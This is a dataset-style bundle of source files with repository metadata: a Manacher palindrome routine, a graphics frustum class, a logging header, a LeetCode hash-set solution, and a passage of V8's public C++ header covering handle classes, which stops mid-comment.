9c1039b087bb42cc0f4510ef767640149ebb54cc
|
d0130f44d7100ce73807615313bda7b81d1f8804
|
/strings/manacher.cpp
|
2a32062a6d60a37c3972bc66adebdd7995c119d5
|
[] |
no_license
|
fextivity/Programming-Contests
|
9cb65182fcba27d20d8081d8daa290b8839bd438
|
358b3d2d6481a639078d69255977c98c0b2ef30f
|
refs/heads/master
| 2023-02-08T07:52:04.789842
| 2020-09-06T11:21:14
| 2020-09-06T11:21:14
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,180
|
cpp
|
// The glory is for GOD
/*
Author: Reynaldo Lázaro Aguilar Casajuana
Nickname: rlac
Date: 22/02/13 14:01
Topic: Strings - Manacher
Description: rad[i] = If i is odd, it's the largest even palindrome centered at position i / 2.
Otherwise, it's the size of the largest odd palindrome centered at position i / 2.
Complexity: build_rad = O(N)
is_palindrome = O(1)
Verified: TIMUS 1937. Davy Jones’s Organ (Best solution)
*/
#include <bits/stdc++.h>
#define DB(a) cerr << __LINE__ << ": " << #a << " = " << (a) << endl;
using namespace std;
typedef complex<double> point;
typedef long long ll;
typedef pair<int, int> ii;
const int LEN = 1e5 + 5;
char s[LEN];
int rad[2 * LEN], n;
//WARNING: n = 2 * strlen(s)
void build_rad ()
{
for (int i = 0, j = 0, k; i < n; i += k, j = max(j - k, 0))
{
for (; i >= j && i + j + 1 < n && s[(i - j) / 2] == s[(i + j + 1) / 2]; ++j);
rad[i] = j;
for (k = 1; i >= k && rad[i] >= k && rad[i - k] != rad[i] - k; ++k)
rad[i + k] = min(rad[i - k], rad[i] - k);
}
}
//WARNING: n = strlen(s)
bool is_palindrome (int b, int e)
{
return b >= 0 && e < n && rad[b + e] >= e - b + 1;
}
|
[
"rlac1990@gmail.com"
] |
rlac1990@gmail.com
|
af81749cd1fed84844c02b53224fb478404c03f7
|
029a27a32c3c93542c48d44b3d7bbf7c3d8fd656
|
/nclgl/Frustum.cpp
|
401ecdcbbb016408c38dd478ecbdd7a2ae0ded10
|
[] |
no_license
|
MrTsol/Coursework-for-Advanced-Graphics-for-Games
|
2ebde7f49f65134d6973e146ecc1df9b85bb7640
|
1d5e69e44e1bc53c23f3b43878303eb6d8ed421e
|
refs/heads/master
| 2020-05-01T11:28:40.524972
| 2019-03-24T20:01:45
| 2019-03-24T20:01:45
| 177,438,092
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,143
|
cpp
|
#include "Frustum.h"
bool Frustum::InsideFrustum(SceneNode&n)
{
for (int p = 0; p < 6; ++p)
{
if (!planes[p].SphereInPlane(n.GetWorldTransform().GetPositionVector(), n.GetBoundingRadius()))
{
return false; //scenenode is outside this plane!
}
}
return true; //scenenode is inside every plane!
}
void Frustum::FromMatrix(const Matrix4 &mat)
{
Vector3 xaxis = Vector3(mat.values[0], mat.values[4], mat.values[8]);
Vector3 yaxis = Vector3(mat.values[1], mat.values[5], mat.values[9]);
Vector3 zaxis = Vector3(mat.values[2], mat.values[6], mat.values[10]);
Vector3 waxis = Vector3(mat.values[3], mat.values[7], mat.values[11]);
//RIGHT
planes[0] = Plane(waxis - xaxis, mat.values[15] - mat.values[12], true);
//LEFT
planes[1] = Plane(waxis + xaxis, mat.values[15] + mat.values[12], true);
//BOTTOM
planes[2] = Plane(waxis + yaxis, mat.values[15] + mat.values[13], true);
//TOP
planes[3] = Plane(waxis - yaxis, mat.values[15] - mat.values[13], true);
//FAR
planes[4] = Plane(waxis - zaxis, mat.values[15] - mat.values[14], true);
//NEAR
planes[5] = Plane(waxis + zaxis, mat.values[15] + mat.values[14], true);
}
|
[
"A.Tsolakis2@newcastle.ac.uk"
] |
A.Tsolakis2@newcastle.ac.uk
|
5251ca2fd81f855c1e39f772c73d52316b1da5a8
|
8fedbe52877f13a6d068dfdf70b6bc225d7d38ab
|
/Common/etc/Log.h
|
c58e12419e7f160db37e3b4b5f71f17ca794e647
|
[] |
no_license
|
jjuiddong/MemMonitor
|
3b95d1462d2998dc2e76ad1a8a1445f35d2dcb77
|
476e7bf1cbf967c5d2fb03eb9eaf2a2f46c8c117
|
refs/heads/master
| 2020-05-19T14:13:45.909427
| 2013-03-03T06:33:36
| 2013-03-03T06:33:36
| 7,990,725
| 1
| 2
| null | null | null | null |
WINDOWS-1252
|
C++
| false
| false
| 360
|
h
|
//------------------------------------------------------------------------
// Name: Log.h
// Author: jjuiddong
// Date: 1/5/2013
//
// ·Î±× ±â´É
//------------------------------------------------------------------------
#pragma once
namespace common { namespace log {
void Log(const std::string &str);
void Log( const char* fmt, ...);
}}
|
[
"jjuiddong@hanmail.net"
] |
jjuiddong@hanmail.net
|
4d42759d87f40adf4b0d705884dfddabd265da43
|
0e6e81a3788fd9847084991c3177481470546051
|
/Explore/Hash table/code by cpp/705_Design HashSet.cpp
|
70b6184de74159cd509def1ee11160bd456f17ef
|
[] |
no_license
|
Azhao1993/Leetcode
|
6f84c62620f1bb60f82d4383764b777a4caa2715
|
1c1f2438e80d7958736dbc28b7ede562ec1356f7
|
refs/heads/master
| 2020-03-25T19:34:30.946119
| 2020-03-05T14:28:17
| 2020-03-05T14:28:17
| 144,089,629
| 4
| 2
| null | 2019-11-18T00:30:31
| 2018-08-09T02:10:26
|
C++
|
UTF-8
|
C++
| false
| false
| 1,482
|
cpp
|
#include<iostream>
#include<vector>
#include<algorithm>
using namespace std;
/*
705. 设计哈希集合
不使用任何内建的哈希表库设计一个哈希集合
具体地说,你的设计应该包含以下的功能
add(value):向哈希集合中插入一个值。
contains(value) :返回哈希集合中是否存在这个值。
remove(value):将给定值从哈希集合中删除。如果哈希集合中没有这个值,什么也不做。
示例:
MyHashSet hashSet = new MyHashSet();
hashSet.add(1);
hashSet.add(2);
hashSet.contains(1); // 返回 true
hashSet.contains(3); // 返回 false (未找到)
hashSet.add(2);
hashSet.contains(2); // 返回 true
hashSet.remove(2);
hashSet.contains(2); // 返回 false (已经被删除)
注意:
所有的值都在 [1, 1000000]的范围内。
操作的总数目在[1, 10000]范围内。
不要使用内建的哈希集合库。
*/
class MyHashSet {
private:
vector<bool> arr;
public:
/** Initialize your data structure here. */
MyHashSet() {
arr.resize(1000001);
}
void add(int key) {
arr[key] = true;
}
void remove(int key) {
arr[key] = false;
}
/** Returns true if this set contains the specified element */
bool contains(int key) {
return arr[key];
}
};
/**
* Your MyHashSet object will be instantiated and called as such:
* MyHashSet obj = new MyHashSet();
* obj.add(key);
* obj.remove(key);
* bool param_3 = obj.contains(key);
*/
|
[
"1358227862@qq.com"
] |
1358227862@qq.com
|
827de7a96c560d2859695659e906194f65d90d9e
|
13e1e38318d6c832347b75cd76f1d342dfec3f64
|
/3rdParty/V8-4.3.61/include/v8.h
|
eff88450f6fac9c9e07944e8a45060c1fb5dc57b
|
[
"bzip2-1.0.6",
"BSD-3-Clause",
"Apache-2.0",
"GPL-1.0-or-later",
"ICU",
"MIT"
] |
permissive
|
msand/arangodb
|
f1e2c2208258261e6a081897746c247a0aec6bdf
|
7c43164bb989e185f9c68a5275cebdf15548c2d6
|
refs/heads/devel
| 2023-04-07T00:35:40.506103
| 2015-07-20T08:59:22
| 2015-07-20T08:59:22
| 39,376,414
| 0
| 0
|
Apache-2.0
| 2023-04-04T00:08:22
| 2015-07-20T09:58:42
|
C++
|
UTF-8
|
C++
| false
| false
| 258,610
|
h
|
// Copyright 2012 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/** \mainpage V8 API Reference Guide
*
* V8 is Google's open source JavaScript engine.
*
* This set of documents provides reference material generated from the
* V8 header file, include/v8.h.
*
* For other documentation see http://code.google.com/apis/v8/
*/
#ifndef V8_H_
#define V8_H_
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include "v8-version.h"
#include "v8config.h"
// We reserve the V8_* prefix for macros defined in V8 public API and
// assume there are no name conflicts with the embedder's code.
#ifdef V8_OS_WIN
// Setup for Windows DLL export/import. When building the V8 DLL the
// BUILDING_V8_SHARED needs to be defined. When building a program which uses
// the V8 DLL USING_V8_SHARED needs to be defined. When either building the V8
// static library or building a program which uses the V8 static library neither
// BUILDING_V8_SHARED nor USING_V8_SHARED should be defined.
#if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED)
#error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\
build configuration to ensure that at most one of these is set
#endif
#ifdef BUILDING_V8_SHARED
# define V8_EXPORT __declspec(dllexport)
#elif USING_V8_SHARED
# define V8_EXPORT __declspec(dllimport)
#else
# define V8_EXPORT
#endif // BUILDING_V8_SHARED
#else // V8_OS_WIN
// Setup for Linux shared library export.
#if V8_HAS_ATTRIBUTE_VISIBILITY && defined(V8_SHARED)
# ifdef BUILDING_V8_SHARED
# define V8_EXPORT __attribute__ ((visibility("default")))
# else
# define V8_EXPORT
# endif
#else
# define V8_EXPORT
#endif
#endif // V8_OS_WIN
/**
* The v8 JavaScript engine.
*/
namespace v8 {
class AccessorSignature;
class Array;
class Boolean;
class BooleanObject;
class Context;
class CpuProfiler;
class Data;
class Date;
class External;
class Function;
class FunctionTemplate;
class HeapProfiler;
class ImplementationUtilities;
class Int32;
class Integer;
class Isolate;
template <class T>
class Maybe;
class Name;
class Number;
class NumberObject;
class Object;
class ObjectOperationDescriptor;
class ObjectTemplate;
class Platform;
class Primitive;
class Promise;
class RawOperationDescriptor;
class Script;
class Signature;
class StartupData;
class StackFrame;
class StackTrace;
class String;
class StringObject;
class Symbol;
class SymbolObject;
class Private;
class Uint32;
class Utils;
class Value;
template <class T> class Handle;
template <class T> class Local;
template <class T>
class MaybeLocal;
template <class T> class Eternal;
template<class T> class NonCopyablePersistentTraits;
template<class T> class PersistentBase;
template<class T,
class M = NonCopyablePersistentTraits<T> > class Persistent;
template <class T>
class Global;
template<class K, class V, class T> class PersistentValueMap;
template <class K, class V, class T>
class PersistentValueMapBase;
template <class K, class V, class T>
class GlobalValueMap;
template<class V, class T> class PersistentValueVector;
template<class T, class P> class WeakCallbackObject;
class FunctionTemplate;
class ObjectTemplate;
class Data;
template<typename T> class FunctionCallbackInfo;
template<typename T> class PropertyCallbackInfo;
class StackTrace;
class StackFrame;
class Isolate;
class CallHandlerHelper;
class EscapableHandleScope;
template<typename T> class ReturnValue;
namespace internal {
class Arguments;
class Heap;
class HeapObject;
class Isolate;
class Object;
struct StreamedSource;
template<typename T> class CustomArguments;
class PropertyCallbackArguments;
class FunctionCallbackArguments;
class GlobalHandles;
}
/**
* General purpose unique identifier.
*/
class UniqueId {
public:
explicit UniqueId(intptr_t data)
: data_(data) {}
bool operator==(const UniqueId& other) const {
return data_ == other.data_;
}
bool operator!=(const UniqueId& other) const {
return data_ != other.data_;
}
bool operator<(const UniqueId& other) const {
return data_ < other.data_;
}
private:
intptr_t data_;
};
// --- Handles ---
#define TYPE_CHECK(T, S) \
while (false) { \
*(static_cast<T* volatile*>(0)) = static_cast<S*>(0); \
}
/**
* An object reference managed by the v8 garbage collector.
*
* All objects returned from v8 have to be tracked by the garbage
* collector so that it knows that the objects are still alive. Also,
* because the garbage collector may move objects, it is unsafe to
* point directly to an object. Instead, all objects are stored in
* handles which are known by the garbage collector and updated
* whenever an object moves. Handles should always be passed by value
* (except in cases like out-parameters) and they should never be
* allocated on the heap.
*
* There are two types of handles: local and persistent handles.
* Local handles are light-weight and transient and typically used in
* local operations. They are managed by HandleScopes. Persistent
* handles can be used when storing objects across several independent
* operations and have to be explicitly deallocated when they're no
* longer used.
*
* It is safe to extract the object stored in the handle by
* dereferencing the handle (for instance, to extract the Object* from
* a Handle<Object>); the value will still be governed by a handle
* behind the scenes and the same rules apply to these values as to
* their handles.
*/
template <class T> class Handle {
public:
/**
* Creates an empty handle.
*/
V8_INLINE Handle() : val_(0) {}
/**
* Creates a handle for the contents of the specified handle. This
* constructor allows you to pass handles as arguments by value and
* to assign between handles. However, if you try to assign between
* incompatible handles, for instance from a Handle<String> to a
* Handle<Number> it will cause a compile-time error. Assigning
* between compatible handles, for instance assigning a
* Handle<String> to a variable declared as Handle<Value>, is legal
* because String is a subclass of Value.
*/
template <class S> V8_INLINE Handle(Handle<S> that)
: val_(reinterpret_cast<T*>(*that)) {
/**
* This check fails when trying to convert between incompatible
* handles. For example, converting from a Handle<String> to a
* Handle<Number>.
*/
TYPE_CHECK(T, S);
}
/**
* Returns true if the handle is empty.
*/
V8_INLINE bool IsEmpty() const { return val_ == 0; }
/**
* Sets the handle to be empty. IsEmpty() will then return true.
*/
V8_INLINE void Clear() { val_ = 0; }
V8_INLINE T* operator->() const { return val_; }
V8_INLINE T* operator*() const { return val_; }
/**
* Checks whether two handles are the same.
* Returns true if both are empty, or if the objects
* to which they refer are identical.
* The handles' references are not checked.
*/
template <class S> V8_INLINE bool operator==(const Handle<S>& that) const {
internal::Object** a = reinterpret_cast<internal::Object**>(this->val_);
internal::Object** b = reinterpret_cast<internal::Object**>(that.val_);
if (a == 0) return b == 0;
if (b == 0) return false;
return *a == *b;
}
template <class S> V8_INLINE bool operator==(
const PersistentBase<S>& that) const {
internal::Object** a = reinterpret_cast<internal::Object**>(this->val_);
internal::Object** b = reinterpret_cast<internal::Object**>(that.val_);
if (a == 0) return b == 0;
if (b == 0) return false;
return *a == *b;
}
/**
* Checks whether two handles are different.
* Returns true if only one of the handles is empty, or if
* the objects to which they refer are different.
* The handles' references are not checked.
*/
template <class S> V8_INLINE bool operator!=(const Handle<S>& that) const {
return !operator==(that);
}
template <class S> V8_INLINE bool operator!=(
const Persistent<S>& that) const {
return !operator==(that);
}
template <class S> V8_INLINE static Handle<T> Cast(Handle<S> that) {
#ifdef V8_ENABLE_CHECKS
// If we're going to perform the type check then we have to check
// that the handle isn't empty before doing the checked cast.
if (that.IsEmpty()) return Handle<T>();
#endif
return Handle<T>(T::Cast(*that));
}
template <class S> V8_INLINE Handle<S> As() {
return Handle<S>::Cast(*this);
}
V8_INLINE static Handle<T> New(Isolate* isolate, Handle<T> that) {
return New(isolate, that.val_);
}
V8_INLINE static Handle<T> New(Isolate* isolate,
const PersistentBase<T>& that) {
return New(isolate, that.val_);
}
private:
friend class Utils;
template<class F, class M> friend class Persistent;
template<class F> friend class PersistentBase;
template<class F> friend class Handle;
template<class F> friend class Local;
template <class F>
friend class MaybeLocal;
template<class F> friend class FunctionCallbackInfo;
template<class F> friend class PropertyCallbackInfo;
template<class F> friend class internal::CustomArguments;
friend Handle<Primitive> Undefined(Isolate* isolate);
friend Handle<Primitive> Null(Isolate* isolate);
friend Handle<Boolean> True(Isolate* isolate);
friend Handle<Boolean> False(Isolate* isolate);
friend class Context;
friend class HandleScope;
friend class Object;
friend class Private;
/**
* Creates a new handle for the specified value.
*/
V8_INLINE explicit Handle(T* val) : val_(val) {}
V8_INLINE static Handle<T> New(Isolate* isolate, T* that);
T* val_;
};
/**
* A light-weight stack-allocated object handle. All operations
* that return objects from within v8 return them in local handles. They
* are created within HandleScopes, and all local handles allocated within a
* handle scope are destroyed when the handle scope is destroyed. Hence it
* is not necessary to explicitly deallocate local handles.
*/
template <class T> class Local : public Handle<T> {
public:
V8_INLINE Local();
template <class S> V8_INLINE Local(Local<S> that)
: Handle<T>(reinterpret_cast<T*>(*that)) {
/**
* This check fails when trying to convert between incompatible
* handles. For example, converting from a Handle<String> to a
* Handle<Number>.
*/
TYPE_CHECK(T, S);
}
template <class S> V8_INLINE static Local<T> Cast(Local<S> that) {
#ifdef V8_ENABLE_CHECKS
// If we're going to perform the type check then we have to check
// that the handle isn't empty before doing the checked cast.
if (that.IsEmpty()) return Local<T>();
#endif
return Local<T>(T::Cast(*that));
}
template <class S> V8_INLINE Local(Handle<S> that)
: Handle<T>(reinterpret_cast<T*>(*that)) {
TYPE_CHECK(T, S);
}
template <class S> V8_INLINE Local<S> As() {
return Local<S>::Cast(*this);
}
/**
* Create a local handle for the content of another handle.
* The referee is kept alive by the local handle even when
* the original handle is destroyed/disposed.
*/
V8_INLINE static Local<T> New(Isolate* isolate, Handle<T> that);
V8_INLINE static Local<T> New(Isolate* isolate,
const PersistentBase<T>& that);
private:
friend class Utils;
template<class F> friend class Eternal;
template<class F> friend class PersistentBase;
template<class F, class M> friend class Persistent;
template<class F> friend class Handle;
template<class F> friend class Local;
template <class F>
friend class MaybeLocal;
template<class F> friend class FunctionCallbackInfo;
template<class F> friend class PropertyCallbackInfo;
friend class String;
friend class Object;
friend class Context;
template<class F> friend class internal::CustomArguments;
friend class HandleScope;
friend class EscapableHandleScope;
template <class F1, class F2, class F3>
friend class PersistentValueMapBase;
template<class F1, class F2> friend class PersistentValueVector;
template <class S> V8_INLINE Local(S* that) : Handle<T>(that) { }
V8_INLINE static Local<T> New(Isolate* isolate, T* that);
};
/**
* A MaybeLocal<> is a wrapper around Local<> that enforces a check whether
* the Local<> is empty before it can be used.
*
* If an API method returns a MaybeLocal<>, the API method can potentially fail
* either because an exception is thrown, or because an exception is pending,
* e.g. because a previous API call threw an exception that hasn't been caught
* yet, or because a TerminateExecution exception was thrown. In that case, an
* empty MaybeLocal is returned.
*/
template <class T>
class MaybeLocal {
public:
V8_INLINE MaybeLocal() : val_(nullptr) {}
template <class S>
V8_INLINE MaybeLocal(Local<S> that)
: val_(reinterpret_cast<T*>(*that)) {
TYPE_CHECK(T, S);
}
V8_INLINE bool IsEmpty() const { return val_ == nullptr; }
template <class S>
V8_WARN_UNUSED_RESULT V8_INLINE bool ToLocal(Local<S>* out) const {
out->val_ = IsEmpty() ? nullptr : this->val_;
return !IsEmpty();
}
// Will crash when checks are enabled if the MaybeLocal<> is empty.
V8_INLINE Local<T> ToLocalChecked();
template <class S>
V8_INLINE Local<S> FromMaybe(Local<S> default_value) const {
return IsEmpty() ? default_value : Local<S>(val_);
}
private:
T* val_;
};
// Eternal handles are set-once handles that live for the life of the isolate.
template <class T> class Eternal {
public:
V8_INLINE Eternal() : index_(kInitialValue) { }
template<class S>
V8_INLINE Eternal(Isolate* isolate, Local<S> handle) : index_(kInitialValue) {
Set(isolate, handle);
}
// Can only be safely called if already set.
V8_INLINE Local<T> Get(Isolate* isolate);
V8_INLINE bool IsEmpty() { return index_ == kInitialValue; }
template<class S> V8_INLINE void Set(Isolate* isolate, Local<S> handle);
private:
static const int kInitialValue = -1;
int index_;
};
static const int kInternalFieldsInWeakCallback = 2;
template <typename T>
class WeakCallbackInfo {
public:
typedef void (*Callback)(const WeakCallbackInfo<T>& data);
WeakCallbackInfo(Isolate* isolate, T* parameter,
void* internal_fields[kInternalFieldsInWeakCallback],
Callback* callback)
: isolate_(isolate), parameter_(parameter), callback_(callback) {
for (int i = 0; i < kInternalFieldsInWeakCallback; ++i) {
internal_fields_[i] = internal_fields[i];
}
}
V8_INLINE Isolate* GetIsolate() const { return isolate_; }
V8_INLINE T* GetParameter() const { return parameter_; }
V8_INLINE void* GetInternalField(int index) const;
V8_INLINE V8_DEPRECATE_SOON("use indexed version",
void* GetInternalField1()) const {
return internal_fields_[0];
}
V8_INLINE V8_DEPRECATE_SOON("use indexed version",
void* GetInternalField2()) const {
return internal_fields_[1];
}
bool IsFirstPass() const { return callback_ != nullptr; }
// When first called, the embedder MUST Reset() the Global which triggered the
// callback. The Global itself is unusable for anything else. No v8 other api
// calls may be called in the first callback. Should additional work be
// required, the embedder must set a second pass callback, which will be
// called after all the initial callbacks are processed.
// Calling SetSecondPassCallback on the second pass will immediately crash.
void SetSecondPassCallback(Callback callback) const { *callback_ = callback; }
private:
Isolate* isolate_;
T* parameter_;
Callback* callback_;
void* internal_fields_[kInternalFieldsInWeakCallback];
};
template <class T, class P>
class WeakCallbackData {
public:
typedef void (*Callback)(const WeakCallbackData<T, P>& data);
WeakCallbackData(Isolate* isolate, P* parameter, Local<T> handle)
: isolate_(isolate), parameter_(parameter), handle_(handle) {}
V8_INLINE Isolate* GetIsolate() const { return isolate_; }
V8_INLINE P* GetParameter() const { return parameter_; }
V8_INLINE Local<T> GetValue() const { return handle_; }
private:
Isolate* isolate_;
P* parameter_;
Local<T> handle_;
};
// TODO(dcarney): delete this with WeakCallbackData
template <class T>
using PhantomCallbackData = WeakCallbackInfo<T>;
enum class WeakCallbackType { kParameter, kInternalFields };
/**
* An object reference that is independent of any handle scope. Where
* a Local handle only lives as long as the HandleScope in which it was
* allocated, a PersistentBase handle remains valid until it is explicitly
* disposed.
*
* A persistent handle contains a reference to a storage cell within
* the v8 engine which holds an object value and which is updated by
* the garbage collector whenever the object is moved. A new storage
* cell can be created using the constructor or PersistentBase::Reset and
* existing handles can be disposed using PersistentBase::Reset.
*
*/
template <class T> class PersistentBase {
public:
/**
* If non-empty, destroy the underlying storage cell
* IsEmpty() will return true after this call.
*/
V8_INLINE void Reset();
/**
* If non-empty, destroy the underlying storage cell
* and create a new one with the contents of other if other is non empty
*/
template <class S>
V8_INLINE void Reset(Isolate* isolate, const Handle<S>& other);
/**
* If non-empty, destroy the underlying storage cell
* and create a new one with the contents of other if other is non empty
*/
template <class S>
V8_INLINE void Reset(Isolate* isolate, const PersistentBase<S>& other);
V8_INLINE bool IsEmpty() const { return val_ == NULL; }
V8_INLINE void Empty() { val_ = 0; }
template <class S>
V8_INLINE bool operator==(const PersistentBase<S>& that) const {
internal::Object** a = reinterpret_cast<internal::Object**>(this->val_);
internal::Object** b = reinterpret_cast<internal::Object**>(that.val_);
if (a == NULL) return b == NULL;
if (b == NULL) return false;
return *a == *b;
}
template <class S> V8_INLINE bool operator==(const Handle<S>& that) const {
internal::Object** a = reinterpret_cast<internal::Object**>(this->val_);
internal::Object** b = reinterpret_cast<internal::Object**>(that.val_);
if (a == NULL) return b == NULL;
if (b == NULL) return false;
return *a == *b;
}
template <class S>
V8_INLINE bool operator!=(const PersistentBase<S>& that) const {
return !operator==(that);
}
template <class S> V8_INLINE bool operator!=(const Handle<S>& that) const {
return !operator==(that);
}
/**
* Install a finalization callback on this object.
* NOTE: There is no guarantee as to *when* or even *if* the callback is
* invoked. The invocation is performed solely on a best effort basis.
* As always, GC-based finalization should *not* be relied upon for any
* critical form of resource management!
*/
template <typename P>
V8_INLINE V8_DEPRECATE_SOON(
"use WeakCallbackInfo version",
void SetWeak(P* parameter,
typename WeakCallbackData<T, P>::Callback callback));
template <typename S, typename P>
V8_INLINE V8_DEPRECATE_SOON(
"use WeakCallbackInfo version",
void SetWeak(P* parameter,
typename WeakCallbackData<S, P>::Callback callback));
// Phantom persistents work like weak persistents, except that the pointer to
// the object being collected is not available in the finalization callback.
// This enables the garbage collector to collect the object and any objects
// it references transitively in one GC cycle. At the moment you can either
// specify a parameter for the callback or the location of two internal
// fields in the dying object.
template <typename P>
V8_INLINE V8_DEPRECATE_SOON(
"use SetWeak",
void SetPhantom(P* parameter,
typename WeakCallbackInfo<P>::Callback callback,
int internal_field_index1 = -1,
int internal_field_index2 = -1));
template <typename P>
V8_INLINE void SetWeak(P* parameter,
typename WeakCallbackInfo<P>::Callback callback,
WeakCallbackType type);
template<typename P>
V8_INLINE P* ClearWeak();
// TODO(dcarney): remove this.
V8_INLINE void ClearWeak() { ClearWeak<void>(); }
/**
* Marks the reference to this object independent. Garbage collector is free
* to ignore any object groups containing this object. Weak callback for an
* independent handle should not assume that it will be preceded by a global
* GC prologue callback or followed by a global GC epilogue callback.
*/
V8_INLINE void MarkIndependent();
/**
* Marks the reference to this object partially dependent. Partially dependent
* handles only depend on other partially dependent handles and these
* dependencies are provided through object groups. It provides a way to build
* smaller object groups for young objects that represent only a subset of all
* external dependencies. This mark is automatically cleared after each
* garbage collection.
*/
V8_INLINE void MarkPartiallyDependent();
V8_INLINE bool IsIndependent() const;
/** Checks if the handle holds the only reference to an object. */
V8_INLINE bool IsNearDeath() const;
/** Returns true if the handle's reference is weak. */
V8_INLINE bool IsWeak() const;
/**
* Assigns a wrapper class ID to the handle. See RetainedObjectInfo interface
* description in v8-profiler.h for details.
*/
V8_INLINE void SetWrapperClassId(uint16_t class_id);
/**
* Returns the class ID previously assigned to this handle or 0 if no class ID
* was previously assigned.
*/
V8_INLINE uint16_t WrapperClassId() const;
private:
friend class Isolate;
friend class Utils;
template<class F> friend class Handle;
template<class F> friend class Local;
template<class F1, class F2> friend class Persistent;
template <class F>
friend class Global;
template<class F> friend class PersistentBase;
template<class F> friend class ReturnValue;
template <class F1, class F2, class F3>
friend class PersistentValueMapBase;
template<class F1, class F2> friend class PersistentValueVector;
friend class Object;
explicit V8_INLINE PersistentBase(T* val) : val_(val) {}
PersistentBase(PersistentBase& other) = delete; // NOLINT
void operator=(PersistentBase&) = delete;
V8_INLINE static T* New(Isolate* isolate, T* that);
T* val_;
};
/**
* Default traits for Persistent. This class does not allow
* use of the copy constructor or assignment operator.
* At present kResetInDestructor is not set, but that will change in a future
* version.
*/
template<class T>
class NonCopyablePersistentTraits {
public:
typedef Persistent<T, NonCopyablePersistentTraits<T> > NonCopyablePersistent;
static const bool kResetInDestructor = false;
template<class S, class M>
V8_INLINE static void Copy(const Persistent<S, M>& source,
NonCopyablePersistent* dest) {
Uncompilable<Object>();
}
// TODO(dcarney): come up with a good compile error here.
template<class O> V8_INLINE static void Uncompilable() {
TYPE_CHECK(O, Primitive);
}
};
/**
* Helper class traits to allow copying and assignment of Persistent.
* This will clone the contents of storage cell, but not any of the flags, etc.
*/
template<class T>
struct CopyablePersistentTraits {
typedef Persistent<T, CopyablePersistentTraits<T> > CopyablePersistent;
static const bool kResetInDestructor = true;
template<class S, class M>
static V8_INLINE void Copy(const Persistent<S, M>& source,
CopyablePersistent* dest) {
// do nothing, just allow copy
}
};
/**
* A PersistentBase which allows copy and assignment.
*
* Copy, assignment and destructor bevavior is controlled by the traits
* class M.
*
* Note: Persistent class hierarchy is subject to future changes.
*/
template <class T, class M> class Persistent : public PersistentBase<T> {
public:
/**
* A Persistent with no storage cell.
*/
V8_INLINE Persistent() : PersistentBase<T>(0) { }
/**
* Construct a Persistent from a Handle.
* When the Handle is non-empty, a new storage cell is created
* pointing to the same object, and no flags are set.
*/
template <class S> V8_INLINE Persistent(Isolate* isolate, Handle<S> that)
: PersistentBase<T>(PersistentBase<T>::New(isolate, *that)) {
TYPE_CHECK(T, S);
}
/**
* Construct a Persistent from a Persistent.
* When the Persistent is non-empty, a new storage cell is created
* pointing to the same object, and no flags are set.
*/
template <class S, class M2>
V8_INLINE Persistent(Isolate* isolate, const Persistent<S, M2>& that)
: PersistentBase<T>(PersistentBase<T>::New(isolate, *that)) {
TYPE_CHECK(T, S);
}
/**
* The copy constructors and assignment operator create a Persistent
* exactly as the Persistent constructor, but the Copy function from the
* traits class is called, allowing the setting of flags based on the
* copied Persistent.
*/
V8_INLINE Persistent(const Persistent& that) : PersistentBase<T>(0) {
Copy(that);
}
template <class S, class M2>
V8_INLINE Persistent(const Persistent<S, M2>& that) : PersistentBase<T>(0) {
Copy(that);
}
V8_INLINE Persistent& operator=(const Persistent& that) { // NOLINT
Copy(that);
return *this;
}
template <class S, class M2>
V8_INLINE Persistent& operator=(const Persistent<S, M2>& that) { // NOLINT
Copy(that);
return *this;
}
/**
* The destructor will dispose the Persistent based on the
* kResetInDestructor flags in the traits class. Since not calling dispose
* can result in a memory leak, it is recommended to always set this flag.
*/
V8_INLINE ~Persistent() {
if (M::kResetInDestructor) this->Reset();
}
// TODO(dcarney): this is pretty useless, fix or remove
template <class S>
V8_INLINE static Persistent<T>& Cast(Persistent<S>& that) { // NOLINT
#ifdef V8_ENABLE_CHECKS
// If we're going to perform the type check then we have to check
// that the handle isn't empty before doing the checked cast.
if (!that.IsEmpty()) T::Cast(*that);
#endif
return reinterpret_cast<Persistent<T>&>(that);
}
// TODO(dcarney): this is pretty useless, fix or remove
template <class S> V8_INLINE Persistent<S>& As() { // NOLINT
return Persistent<S>::Cast(*this);
}
private:
friend class Isolate;
friend class Utils;
template<class F> friend class Handle;
template<class F> friend class Local;
template<class F1, class F2> friend class Persistent;
template<class F> friend class ReturnValue;
template <class S> V8_INLINE Persistent(S* that) : PersistentBase<T>(that) { }
V8_INLINE T* operator*() const { return this->val_; }
template<class S, class M2>
V8_INLINE void Copy(const Persistent<S, M2>& that);
};
/**
* A PersistentBase which has move semantics.
*
* Note: Persistent class hierarchy is subject to future changes.
*/
template <class T>
class Global : public PersistentBase<T> {
public:
/**
* A Global with no storage cell.
*/
V8_INLINE Global() : PersistentBase<T>(nullptr) {}
/**
* Construct a Global from a Handle.
* When the Handle is non-empty, a new storage cell is created
* pointing to the same object, and no flags are set.
*/
template <class S>
V8_INLINE Global(Isolate* isolate, Handle<S> that)
: PersistentBase<T>(PersistentBase<T>::New(isolate, *that)) {
TYPE_CHECK(T, S);
}
/**
* Construct a Global from a PersistentBase.
* When the Persistent is non-empty, a new storage cell is created
* pointing to the same object, and no flags are set.
*/
template <class S>
V8_INLINE Global(Isolate* isolate, const PersistentBase<S>& that)
: PersistentBase<T>(PersistentBase<T>::New(isolate, that.val_)) {
TYPE_CHECK(T, S);
}
/**
* Move constructor.
*/
V8_INLINE Global(Global&& other) : PersistentBase<T>(other.val_) {
other.val_ = nullptr;
}
V8_INLINE ~Global() { this->Reset(); }
/**
* Move via assignment.
*/
template <class S>
V8_INLINE Global& operator=(Global<S>&& rhs) {
TYPE_CHECK(T, S);
if (this != &rhs) {
this->Reset();
this->val_ = rhs.val_;
rhs.val_ = nullptr;
}
return *this;
}
/**
* Pass allows returning uniques from functions, etc.
*/
Global Pass() { return static_cast<Global&&>(*this); }
/*
* For compatibility with Chromium's base::Bind (base::Passed).
*/
typedef void MoveOnlyTypeForCPP03;
private:
Global(Global&) = delete;
void operator=(Global&) = delete;
};
// UniquePersistent is an alias for Global for historical reason.
template <class T>
using UniquePersistent = Global<T>;
/**
* A stack-allocated class that governs a number of local handles.
* After a handle scope has been created, all local handles will be
